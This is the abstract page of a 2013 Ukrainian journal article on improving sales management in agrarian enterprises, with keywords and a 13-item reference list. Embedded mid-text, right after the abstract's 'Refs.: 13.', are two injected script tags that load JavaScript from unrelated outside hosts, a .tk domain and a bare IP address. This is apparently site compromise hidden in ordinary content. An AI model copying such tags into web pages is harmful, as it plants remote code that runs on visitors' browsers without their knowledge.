ISSN 2413-2322 (Online)

ISSN 2221-1055 (Print)

UDS: 658.81(045)
Аграрний менеджмент і підприємництво

The guidelines for improvement of sales management on agrarian enterprises / Yanyshyn Y.S., Kashuba Yu.P. // Ekonomika APK. - 2013. - № 9 - P. 67

The success of the market in the sale of a product depends not only on production and financial capacity of firms, but on the marketing plan of the company. Problems of marketing of domestic products now are well-structured with a predominance of quantitative elements as quality constituents are not that topical due to lack of proper solvent consumer demand. In this study the authors substantiate the importance of sales management for agribusinesses. The theoretical and methodological principles of sales management are studied. The key-factors of sales management on farms are analysed. The nature and importance of marketing concepts in agribusiness are defined and considered. Ways of improving sales activities by new technologies and the use of marketing principles are suggested. Refs.: 13.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Key words: sales, sales management, sales management activity, sales policy, corporate culture, market economy, planning, transformation of economics, marketing

References

  1. Балабанова Л.В. Стратегічне маркетингове управління збутом підприємств / Л.В. Балабанова, Ю.П. Митрохіна: підруч. – Донецьк: В-во Дон. ДУЕТ, 2009. – 246 с.
  2. Балабанова Л.В. Маркетинг / Л.В. Балабанова: підруч. – 2-ге вид., перероб. і доп. – К.: Знання-Прес, 2004. – 646 с.
  3. Близнюк С.В. Маркетинг в Україні: проблеми становлення та розвитку / С.В. Близнюк. – 2-ге вид., випр. і доп. – К.: Політехніка, 2004. – 400 с.
  4. Бондаренко И.В. Современный маркетинг / И.В. Бондаренко: учеб. пособие. – Донецк : Юго-Восток, 2002. – 354 с.
  5. Гут І.О. Орієнтація сучасних стратегій збуту / І.О. Гут // Маркетинг в Україні. – 2002 . – № 6. – С.37-39.
  6. Соколюк Г.О. Конкурентні стратегії виробничого підприємства: особливості вибору та умови реалізації / Г.О. Соколюк // Актуальні проблеми економіки. – 2009. – № 1. – С. 163-168.
  7. Трубей О.М. Залучення посередників до закупівельно–збутової діяльності на ринку споживчих товарів / О.М. Трубей // Актуальні проблеми економіки. – 2009. – № 1. – С. 143-151.
  8. Турило А.М. Управління витратами підприємства: навч. посіб. для студентів вищ. навч. закл. / А.М. Турило, Ю.Б. Кравчук, А.А. Турило. – К.: Центр навч. л - ри, 2006. – 118 с.
  9. Хрупович С.Є. Економічне оцінювання та управління збутовою діяльністю підприємств / С.Є. Хрупович. – Л., 2005. – 202 с.
  10. Чорна Л.О. Місце системи реалізації продукції в маркетинговій діяльності підприємства / Л.О. Чорна // Економіка та держава. – 2008. – № 12. – С. 61-62.
  11. Densley B. Wholesale market management. A manual [Електронний ресурс] / B. Densley, E. Sanchez-Monjo // FAO Agricultural services bulleten. – 1999. – № 90. – Режим доступу: http://books.google.com.ua/books?id=EPDQWephIzMC&printsec=frontcover&hl=ru&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false.
  12. Mittendorf H.J. Planning of urban wholesale markets for perishable food with particular reference to developing countries / Hans Joachim Mittendorf. – Rome.: FAO, 1976. – 184 p.
  13. Tollens E. Wholesale Markets in African Cities. Diagnosis, Role, Advantages, and Elements for Further Study and Development [Електронний ресурс] / E. Tollens // FAO Food Supply and Distribution to Cities in French-Speaking Africa. Food into cities collection. : University of Louvain, 1997. – April. – 26 p. – Режим доступу: http://www.fao.org/docrep/003/ab790e/ab790e00.htm#Contents.
Read article: 13_09_67-70.pdf